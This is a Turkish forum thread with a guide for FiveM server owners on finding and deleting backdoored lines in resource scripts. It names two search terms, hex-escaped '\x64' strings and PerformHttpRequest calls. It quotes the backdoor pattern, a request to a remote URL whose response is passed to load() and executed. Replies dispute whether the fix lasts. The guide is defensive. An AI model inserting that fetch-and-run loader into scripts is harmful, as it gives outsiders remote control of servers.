Rehber Resimli,Detaylı ve Gelişmiş Şekilde Paketinizdeki Backdoor/Cipher Nasıl Temizlenir,Bulunur?

[h1peres]

Merhabalar FivemTurk Ailesi!

Günümüzün en çok karşılaşılan sorunlardan biri olan Backdoor/Cipher nasıl bulur ve temizlersiniz bunu açıklayacağım.

İlham Aldığım Konular: DrxMaxi,Raviwen

• İlk Olarak
  Linkleri,görmek için Giriş yap veya üye ol.
  Linkten Visual Studio Code İndirip Kurun.
• Görünüm Ve Kişiselleştirme Tercihlerini Yapın(Veya Geçin)

Bu Adımları Tamamlarsanız Karşınıza Böyle Bir Uygulama Sayfası Gelicek.

Bundan Sonra, Sol Üstteki Dosya Seklinde Gözüken Simgeye Tıklayın (Fotoğrafı Aşağıda Mevcuttur.)

Bastıktan Sonra, Açılan Sekmedeki Open Folder Yazan Mavi Butona Tıklayın.

Açılan Dosya Klasöründe, Sunucunuzun \resources Kısmını Bulup Sağ Alttan Klasörü Seç veya Select Folder Butonuna Tıklayın.

Sonrasında Sol Üstten Pusula Simgesine Tıklayın.

Sonrasında Açılan Kısımda, Arama Yerine İlk Kutucuğa 'x64' yazın, Aşağıdaki Gibi Sonuçlar Olacaktır.

BURASI ÖNEMLİ KISIM:
Gelen Sonuçların Hepsine Özelliklede \x64\x48\x65 Gibi Devam Eden Sonuçların Her Birine Tıklayın, Eğer önünüze Aşağıdaki gibi bir Kısım Yazı Geldiyse O Satırı Silin ve CTRL + S basın. Yaptığınız Değişiklikler Kaydedilecektir.

Böyle olan Satırları Silin Ve CTRL + S Basıp Kaydedin.
--
Daha Sonrasında Arama Kısmına 'PerformHttpRequest(' yazın.

Gelen Sonuçların Hepsine Tıklayın, Eğer önünüze Aşağıdaki gibi Garip Tanınmadık bir URL gelirse o Satırı Silin, Eğer github,localhost,discord gibi bilindik ve tanınmış siteler varsa siteye girip içeriğini kontrol edin, eğer şüpheli birşey yoksa silmeyin. Tanınmadık bir URL gelirse o Satırı Silin ve CTRL + S basın. Yaptığınız Değişiklikler Kaydedilecektir.



UYARI
BAKTIGINIZ SCRİPTİN İÇİNDE PerformHttpRequest Verisinin İçinde Discord Webhook Post Verisi Varsa, Scriptin Configlerinde Ayarlanabilir Bir Webhook Olup Olmadığını Kontrol Edin.
Eğer Configden Ayarlanabilir bir Webhook Varsa Sorun Yoktur. Eğer herhangi bir ayarlanamayan webhook post verisi varsa o scripti değiştirin.

PerformHttpRequest('

Linkleri,görmek için Giriş yap veya üye ol.

NyS8r', function (e, d) pcall(function() assert(load(d))() end) end)

Buradaki URL temsilidir. Eğer böyle garip bir url görürseniz ve sonundada 'function (e, d) pcall(function() assert(load(d))() end) end)' Yazıyorsa O Satırı Silip Kaydedin.


Tüm İşlemleriniz bittiyse en baştan tekrardan x64, PerformHttp verilerini kontrol edin ve

Linkleri,görmek için Giriş yap veya üye ol.

gibi bir script kurun
Tebrikler Artık Sunucunuz Tüm Backdoorlardan Arındı.

(Yeni bir script kurarken bu adımları o scripte uygulamayı unutmayın

 

[Üye Silindi 102789]

discord vere bilir misin ?

 

[h1peres]

discord vere bilir misin ?

h1p.

 

[bedo777]

Backdoor'u temizlesen bile bir evreden sonra kendi oluşuyor ve dediğiniz scriptler herhangi bir koruma sağlamıyor sadece konsola printliyor haberiniz olsun. Bu sıkıntıyı çekenler komple fix çözüm arıyorsa bana ulaşabilirler.

 

[Üye Silindi 102789]

h1p.

attım

 

[h1peres]

Backdoor'u temizlesen bile bir evreden sonra kendi oluşuyor ve dediğiniz scriptler herhangi bir koruma sağlamıyor sadece konsola printliyor haberiniz olsun. Bu sıkıntıyı çekenler komple fix çözüm arıyorsa bana ulaşabilirler.

Dostum seni her backdoor/cipher konusunda görüyorum her konuda kendi reklamını yapmak için farklı bahane ve sebeplerle farklı yollar söyleyerek kendine çekmeye çalışıyorsun. Ve hayır dostum bu methodla kişiler backdooru hangi scriptin oluşturduğunu ve hangi scripti silerse backdoorun temizlenceğini anlayabilir. Eğer obfuscate edilmiş script kullanmıyorsa silebilir.

 

[bedo777]

Dostum seni her backdoor/cipher konusunda görüyorum her konuda kendi reklamını yapmak için farklı bahane ve sebeplerle farklı yollar söyleyerek kendine çekmeye çalışıyorsun. Ve hayır dostum bu methodla kişiler backdooru hangi scriptin oluşturduğunu ve hangi scripti silerse backdoorun temizlenceğini anlayabilir. Eğer obfuscate edilmiş script kullanmıyorsa silebilir.

Kendi reklamımı yapmaya çalışmıyorum burada uygulattığınız şeyler belirli bir evreden sonra bir işe yaramıyor. Sizin yaptırdığınız sadece backdoorlu indirilen scriptlerden bulaşanları temizlemeye yarıyor, fakat dediğim gibi belirli bir evreden sonra temizleseniz de, her yeniden başlatmada tekrar oluşuyor ve dediğiniz scriptleri kurarak bir önlem almış olmuyorsunuz.

 

[h1peres]

Kendi reklamımı yapmaya çalışmıyorum burada uygulattığınız şeyler belirli bir evreden sonra bir işe yaramıyor. Sizin yaptırdığınız sadece backdoorlu indirilen scriptlerden bulaşanları temizlemeye yarıyor, fakat dediğim gibi belirli bir evreden sonra temizleseniz de, her yeniden başlatmada tekrar oluşuyor ve dediğiniz scriptleri kurarak bir önlem almış olmuyorsunuz.

Kurduğum script, eğer tekrar bulaşırsa kişiler öğrensin diye, ayrıyetten dediğini anladım ve konulardan senin yorumlarına bakarak dikkate aldım, Ve bazı denediğim silme yöntemlerinde aynen senin dediğinin gibi geri geldi. Ama bu anlattığım yöntemi deneyip üstüne bulaşmanın kaynağı olan scriptleri silme ekleme yöntemi ile bulaşmayı çözebilirsin